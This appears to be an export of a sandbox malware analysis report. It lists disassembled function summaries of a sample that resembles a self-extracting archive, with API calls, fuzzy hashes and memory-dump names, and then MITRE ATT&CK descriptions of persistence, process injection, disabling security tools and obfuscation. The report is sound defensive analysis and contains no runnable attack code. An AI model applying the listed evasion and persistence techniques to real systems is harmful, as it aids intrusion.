Instruction ID: c0f787396fa6b3de95c2f82887938995bcf82f961e42ceb6ace71c8d1a060617
Opcode Fuzzy Hash: 35692a44e7e546f69739d1069c7bb9c29da4a7b1d3d728d8f1a694ecacf6944a
Instruction Fuzzy Hash: 51318171A007059FCB24EF6ACA459AEB7F4EF54704B00052ED982A72D1DB78FE44CB99

Function 004030CC Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(00405CDB,00405CDB,00000000,?,?,?,?,?,?,?,?,?,?,00405CDB,?,00000000), ref: 004031D2

Part of subcall function 00402DCE: MultiByteToWideChar.KERNEL32(?,00000000,00000000,?,00000000,?,?,?,00000000,00000000,00403130,?,?,00000000,00000000,00000000), ref: 00402E00

??3@YAXPAX@Z.MSVCRT(?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,00405CDB,?), ref: 0040313F
??3@YAXPAX@Z.MSVCRT(?,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,00405CDB), ref: 0040315A
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00403162

Memory Dump Source

Source File: 00000016.00000002.2967134111.0000000000401000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2967039009.0000000000400000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967264919.000000000041A000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967346162.000000000041E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967428018.0000000000423000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_846a1e1ef7.jbxd

Similarity

API ID: ??3@$ByteCharMultiWide
String ID:
API String ID: 1731127917-0
Opcode ID: 2045a8c988effd66839eecf1b1e0e6c37eff9953a9d0c56656d8fdf52f7b1370
Instruction ID: 048da0cb2dc02d8916bdec43440a285b354a653a086483b302c5f7621bf0cf9b
Opcode Fuzzy Hash: 2045a8c988effd66839eecf1b1e0e6c37eff9953a9d0c56656d8fdf52f7b1370
Instruction Fuzzy Hash: AD31F672804109AACB14EFA6DC829EF77BCEF04315B10443FF856B61E1EB3C9A45C668

Function 004048A3 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000001,00000000,00000002,00000000,00407468,00000000,?,?,004057F7,?,7ZSfx%03x.cmd), ref: 004048C6
GetTempPathW.KERNEL32(00000001,00000000,00000001,?,?,004057F7,?,7ZSfx%03x.cmd), ref: 004048E3
wsprintfW.USER32 ref: 00404919
GetFileAttributesW.KERNEL32(?), ref: 00404934

Memory Dump Source

Source File: 00000016.00000002.2967134111.0000000000401000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2967039009.0000000000400000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967264919.000000000041A000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967346162.000000000041E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967428018.0000000000423000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_846a1e1ef7.jbxd

Similarity

API ID: PathTemp$AttributesFilewsprintf
String ID:
API String ID: 1746483863-0
Opcode ID: a6dd081e242313139652bdc03ce0b2f176d2a7b6371b1423e210ce58af9a7749
Instruction ID: 9a23dce76bf07ec62893e724c666a97d340ece38cae1712c454cfb59cab589fa
Opcode Fuzzy Hash: a6dd081e242313139652bdc03ce0b2f176d2a7b6371b1423e210ce58af9a7749
Instruction Fuzzy Hash: 5911E772200204BFD7119F55C845BAEB7B9FF84314F10842EF905D72E1DB79A9118B98

Function 004091A7 Relevance: 6.1, APIs: 4, Instructions: 57COMMON

Download Yara Rule

APIs

Part of subcall function 00407920: GetDlgItem.USER32(?,?), ref: 0040792C

Part of subcall function 0040793D: GetDlgItem.USER32(?,?), ref: 0040794A
Part of subcall function 0040793D: ShowWindow.USER32(00000000,?), ref: 00407961

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004091EF
SHGetFileInfoW.SHELL32(?,00000000,?,000002B4,00000103), ref: 0040920F
GetDlgItem.USER32(?,000004B7), ref: 00409222
SetWindowLongW.USER32(00000000,000000FC,Function_00007F86), ref: 00409230

Part of subcall function 00408E76: GetModuleHandleW.KERNEL32(00000000,00000065,000004B7,?,?,?,?,?,00409240), ref: 00408E9F
Part of subcall function 00408E76: LoadIconW.USER32(00000000), ref: 00408EA2
Part of subcall function 00408E76: GetSystemMetrics.USER32(00000032), ref: 00408EB6
Part of subcall function 00408E76: GetSystemMetrics.USER32(00000031), ref: 00408EBB
Part of subcall function 00408E76: GetModuleHandleW.KERNEL32(00000000,00000065,00000001,00000000,?,?,?,?,?,00409240), ref: 00408EC4
Part of subcall function 00408E76: LoadImageW.USER32(00000000), ref: 00408EC7
Part of subcall function 00408E76: SendMessageW.USER32(?,00000080,00000001,?), ref: 00408EE7
Part of subcall function 00408E76: SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00408EF0
Part of subcall function 00408E76: GetDlgItem.USER32(?,000004B2), ref: 00408F0C
Part of subcall function 00408E76: GetDlgItem.USER32(?,000004B2), ref: 00408F16
Part of subcall function 00408E76: GetWindowLongW.USER32(?,000000F0), ref: 00408F22
Part of subcall function 00408E76: SetWindowLongW.USER32(?,000000F0,00000000), ref: 00408F31
Part of subcall function 00408E76: GetDlgItem.USER32(?,000004B5), ref: 00408F3F
Part of subcall function 00408E76: GetDlgItem.USER32(?,000004B5), ref: 00408F4D
Part of subcall function 00408E76: GetWindowLongW.USER32(?,000000F0), ref: 00408F59
Part of subcall function 00408E76: SetWindowLongW.USER32(?,000000F0,00000000), ref: 00408F68

Part of subcall function 004082F3: GetDlgItem.USER32(?,000004B6), ref: 00408300
Part of subcall function 004082F3: SetFocus.USER32(00000000,?,?,004083E7,000004B6,?), ref: 00408307

Memory Dump Source

Source File: 00000016.00000002.2967134111.0000000000401000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2967039009.0000000000400000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967264919.000000000041A000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967346162.000000000041E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967428018.0000000000423000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_846a1e1ef7.jbxd

Similarity

API ID: Item$Window$Long$System$HandleLoadMessageMetricsModuleSend$DirectoryFileFocusIconImageInfoShow
String ID:
API String ID: 3043669009-0
Opcode ID: f423f1c94b217a71c22aa920f9295f7036f4086fcedb7640a741d3f85b4acc7a
Instruction ID: 3591c2bc138905537439c0aaf451187a84050bff03ea83390e11aea9625765cd
Opcode Fuzzy Hash: f423f1c94b217a71c22aa920f9295f7036f4086fcedb7640a741d3f85b4acc7a
Instruction Fuzzy Hash: B911C271F40314ABDB10EBA99D09F9A77BCAB84B04F00446FB241E32D1CAB899008B59

Function 00404412 Relevance: 6.0, APIs: 4, Instructions: 41COMMON

Download Yara Rule

APIs

Part of subcall function 004033E0: GetWindowTextLengthW.USER32(?), ref: 004033F1
Part of subcall function 004033E0: GetWindowTextW.USER32(j4@,00000000,00000001), ref: 0040340E

??3@YAXPAX@Z.MSVCRT(?,?,?,0041A834,0041A83C), ref: 0040445E
??3@YAXPAX@Z.MSVCRT(?,?,?,?,0041A834,0041A83C), ref: 00404466
SetWindowTextW.USER32(?,?), ref: 00404473
??3@YAXPAX@Z.MSVCRT(?), ref: 0040447E

Memory Dump Source

Source File: 00000016.00000002.2967134111.0000000000401000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2967039009.0000000000400000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967264919.000000000041A000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967346162.000000000041E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967428018.0000000000423000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_846a1e1ef7.jbxd

Similarity

API ID: ??3@TextWindow$Length
String ID:
API String ID: 2308334395-0
Opcode ID: 946fc21653a0a68691e606a30467c9a675c099ea4abd451042eb9ca157acbde2
Instruction ID: 3481eafec51d8512e57604988f767cc9cc3c1553ab35ab675722db7162792d52
Opcode Fuzzy Hash: 946fc21653a0a68691e606a30467c9a675c099ea4abd451042eb9ca157acbde2
Instruction Fuzzy Hash: 31F0FF76D04108BACF05BBA2DD46CDDBB7CEF18348F1040AAF50171091EA799B958B94

Function 00408079 Relevance: 6.0, APIs: 4, Instructions: 34windowCOMMON

Download Yara Rule

APIs

GetObjectW.GDI32(?,0000005C,?), ref: 00408094
CreateFontIndirectW.GDI32(?), ref: 004080AA
GetDlgItem.USER32(?,000004B5), ref: 004080BE
SendMessageW.USER32(00000000,00000030,00000000,00000000), ref: 004080CA

Memory Dump Source

Source File: 00000016.00000002.2967134111.0000000000401000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2967039009.0000000000400000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967264919.000000000041A000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967346162.000000000041E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967428018.0000000000423000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_846a1e1ef7.jbxd

Similarity

API ID: CreateFontIndirectItemMessageObjectSend
String ID:
API String ID: 2001801573-0
Opcode ID: 264c581feac235bf5db38c3df5d80af8d6bc45eebf8f891e465c2a489f60d106
Instruction ID: 956e92ef37cd049c126208e7095bac86b33f3b6997e338fc061b002d9265881b
Opcode Fuzzy Hash: 264c581feac235bf5db38c3df5d80af8d6bc45eebf8f891e465c2a489f60d106
Instruction Fuzzy Hash: 00F0BE71501708AFDB215BA4DD09FCBBBACAB88B01F048039FA41E22D0DBB4E4148A29

Function 0040B980 Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00420B90), ref: 0040B989
LeaveCriticalSection.KERNEL32(00420B90), ref: 0040B9CC

Part of subcall function 0040B7A0: ??2@YAPAXI@Z.MSVCRT(00000044), ref: 0040B824
Part of subcall function 0040B7A0: ??3@YAXPAX@Z.MSVCRT ref: 0040B866
Part of subcall function 0040B7A0: ??2@YAPAXI@Z.MSVCRT(?,0000001F), ref: 0040B87C
Part of subcall function 0040B7A0: memmove.MSVCRT(00000000,?,?,?,0000001F), ref: 0040B899
Part of subcall function 0040B7A0: ??3@YAXPAX@Z.MSVCRT(?,?,0000001F), ref: 0040B8A6
Part of subcall function 0040B7A0: memmove.MSVCRT(?,?,?,?,?,0000001F), ref: 0040B8C4

Part of subcall function 0040AEE0: memset.MSVCRT ref: 0040AF4D

Part of subcall function 0040B910: ??2@YAPAXI@Z.MSVCRT(00000044), ref: 0040B937

Strings

$A, xrefs: 0040B99D
$A, xrefs: 0040B9B5

Memory Dump Source

Source File: 00000016.00000002.2967134111.0000000000401000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2967039009.0000000000400000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967264919.000000000041A000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967346162.000000000041E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967428018.0000000000423000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_846a1e1ef7.jbxd

Similarity

API ID: ??2@$??3@CriticalSectionmemmove$EnterLeavememset
String ID: $A$$A
API String ID: 2633840989-464203494
Opcode ID: 678182a7b1fb41f2735d9a1324951dca02cc2b15f86711d7f43aa98ef369e29f
Instruction ID: 6d2d4446e2632278ac84d03e88f46c99b33c2e18b0b42c59bf91942fc9617b32
Opcode Fuzzy Hash: 678182a7b1fb41f2735d9a1324951dca02cc2b15f86711d7f43aa98ef369e29f
Instruction Fuzzy Hash: B8E0927431112516892437566C15AFE1B9ACEC5348B00043FF701732C3CFAD299642EE

Function 00402083 Relevance: 6.0, APIs: 4, Instructions: 28COMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 00402088
GetWindowRect.USER32(?,?), ref: 004020A1
ScreenToClient.USER32(00000000,?), ref: 004020AF
ScreenToClient.USER32(00000000,?), ref: 004020B6

Memory Dump Source

Source File: 00000016.00000002.2967134111.0000000000401000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2967039009.0000000000400000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967264919.000000000041A000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967346162.000000000041E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967428018.0000000000423000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_846a1e1ef7.jbxd

Similarity

API ID: ClientScreen$ParentRectWindow
String ID:
API String ID: 2099118873-0
Opcode ID: c1e4db117b574ef1589c0c9d55717d3f19d7559ec2b1b8ce9c9335790e320de4
Instruction ID: 302afeb31cedc52bf97cb9c1a24104c68e6dc93ac8c9cb6ce1a7b953da425052
Opcode Fuzzy Hash: c1e4db117b574ef1589c0c9d55717d3f19d7559ec2b1b8ce9c9335790e320de4
Instruction Fuzzy Hash: 3DE086721063216FD7119BB5BC88C8B7FADEFC5A26700447AF64592321C7729C20DA72

Function 00405B1F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 004041B2: ??3@YAXPAX@Z.MSVCRT(?,?,?,%%T\,0041A7E8,?,?,00000000,00404980,?,?,?,?,004068AF,00000000), ref: 004041F8
Part of subcall function 004041B2: ??3@YAXPAX@Z.MSVCRT(?,?,?,%%T/,0041A7D8,?,?,?,%%T\,0041A7E8,?,?,00000000,00404980,?,?), ref: 00404236
Part of subcall function 004041B2: ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,%%T/,0041A7D8,?,?,?,%%T\,0041A7E8,?,?,00000000), ref: 0040425C
Part of subcall function 004041B2: ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,%%T/,0041A7D8,?,?,?,%%T\,0041A7E8,?,?), ref: 00404264

Part of subcall function 0040426D: ??3@YAXPAX@Z.MSVCRT(?,?,?,%%S\,0041A7E8,?,?,00000000,00404980,?,?,?,?,004068AF,00000000), ref: 004042B3
Part of subcall function 0040426D: ??3@YAXPAX@Z.MSVCRT(?,?,?,%%S/,0041A7D8,?,?,?,%%S\,0041A7E8,?,?,00000000,00404980,?,?), ref: 004042F1
Part of subcall function 0040426D: ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,%%S/,0041A7D8,?,?,?,%%S\,0041A7E8,?,?,00000000), ref: 00404317
Part of subcall function 0040426D: ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,%%S/,0041A7D8,?,?,?,%%S\,0041A7E8,?,?), ref: 0040431F

Part of subcall function 00404328: ??3@YAXPAX@Z.MSVCRT(?,?,?,%%M\,0041A7E8,?,?,00000000,00404980,?,?,?,?,004068AF,00000000), ref: 0040436E
Part of subcall function 00404328: ??3@YAXPAX@Z.MSVCRT(?,?,?,%%M/,0041A7D8,?,?,?,%%M\,0041A7E8,?,?,00000000,00404980,?,?), ref: 004043AC
Part of subcall function 00404328: ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,%%M/,0041A7D8,?,?,?,%%M\,0041A7E8,?,?,00000000), ref: 004043D2
Part of subcall function 00404328: ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,%%M/,0041A7D8,?,?,?,%%M\,0041A7E8,?,?), ref: 004043DA

Part of subcall function 004043E3: ??3@YAXPAX@Z.MSVCRT(?,?,0041EA24,%%P,?,?,?,?,004068AF,00000000,?,?,?,00000000,?,?), ref: 0040440A

??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?), ref: 00405BF0

Part of subcall function 00403573: GetEnvironmentVariableW.KERNEL32(00405B88,?,00000001,xyg,00000000,0041E9F4,?,?,00405B88,?,?,?,?,?,?), ref: 00403589
Part of subcall function 00403573: GetEnvironmentVariableW.KERNEL32(00405B88,00000000,?,00000001,00000002,?,?,00405B88,?,?,?,?,?,?), ref: 004035B5

Part of subcall function 00402E67: ExpandEnvironmentStringsW.KERNEL32(00000000,?,00000001,00000000,?,?,?), ref: 00402E98
Part of subcall function 00402E67: ??3@YAXPAX@Z.MSVCRT(?), ref: 00402EA1

??3@YAXPAX@Z.MSVCRT(?,?,0067CAC0,?,?,?,xyg,?,0041E9F4,?,0041E9E8,?,?,?), ref: 00405BD4

Strings

xyg, xrefs: 00405B50, 00405B58, 00405BAC

Memory Dump Source

Source File: 00000016.00000002.2967134111.0000000000401000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2967039009.0000000000400000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967264919.000000000041A000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967346162.000000000041E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967428018.0000000000423000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_846a1e1ef7.jbxd

Similarity

API ID: ??3@$Environment$Variable$ExpandStrings
String ID: xyg
API String ID: 2352103411-2290669246
Opcode ID: 0fc42ad2346dd96400584fa8a52dff08f8f4bd3ce6a79bee651992793847b6e3
Instruction ID: 5a5f7ada3690be9ed35744854c3d9f8c637ff9779f5873f4f6476592ce7075f4
Opcode Fuzzy Hash: 0fc42ad2346dd96400584fa8a52dff08f8f4bd3ce6a79bee651992793847b6e3
Instruction Fuzzy Hash: 4B21B1B5E0010DBACF10EBE6DC86CDEB77CEB44749B40447BBA10B7191D638A6458BA8

Function 004052DE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 004083EA: GetSystemMetrics.USER32(00000010), ref: 0040842C
Part of subcall function 004083EA: GetSystemMetrics.USER32(00000011), ref: 0040843A

wsprintfW.USER32 ref: 00405364
??3@YAXPAX@Z.MSVCRT(?,00000011,?,00000000,0041B828,?), ref: 004053A1

Strings

%X - %03X - %03X - %03X - %03X, xrefs: 0040535E

Memory Dump Source

Source File: 00000016.00000002.2967134111.0000000000401000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2967039009.0000000000400000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967264919.000000000041A000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967346162.000000000041E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967428018.0000000000423000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_846a1e1ef7.jbxd

Similarity

API ID: MetricsSystem$??3@wsprintf
String ID: %X - %03X - %03X - %03X - %03X
API String ID: 1174869416-1993364030
Opcode ID: 967eb29cf2bee7a86009ecd14e1b84b7afee97ddefb494a1546e1a570999086d
Instruction ID: 65adf6dcda70838bb3b21e6056e5f535fe41afcbb6b0b1b43c55218142ba6697
Opcode Fuzzy Hash: 967eb29cf2bee7a86009ecd14e1b84b7afee97ddefb494a1546e1a570999086d
Instruction Fuzzy Hash: 7D117231A40218AADB51FB95ED46FDD7338FF14B08F50417AB911361D2DFB86A45CB88

Function 004033E0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32(?), ref: 004033F1
GetWindowTextW.USER32(j4@,00000000,00000001), ref: 0040340E

Strings

j4@, xrefs: 0040340A

Memory Dump Source

Source File: 00000016.00000002.2967134111.0000000000401000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2967039009.0000000000400000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967264919.000000000041A000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967346162.000000000041E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967428018.0000000000423000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_846a1e1ef7.jbxd

Similarity

API ID: TextWindow$Length
String ID: j4@
API String ID: 1006428111-2012685699
Opcode ID: a5a5aa5c2199368c0d63f38f78d8696d952a23570f2059af60636447187a34c1
Instruction ID: 3817dcc93708ae326cc9214659a9c4e7fc7be87bb8e982cfdb796d017d3acd91
Opcode Fuzzy Hash: a5a5aa5c2199368c0d63f38f78d8696d952a23570f2059af60636447187a34c1
Instruction Fuzzy Hash: 89E09239200212AFC2229F19D84486FBBFAEFC4310B00847AF841D33E1CB39DC118B95

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.
Tactics:	Initial Access, Lateral Movement
Data Sources:	Drive: Drive Creation, File: File Access, File: File Creation, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. COM is a system within Windows to enable interaction between software components through the operating system. References to various COM objects are stored in the Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
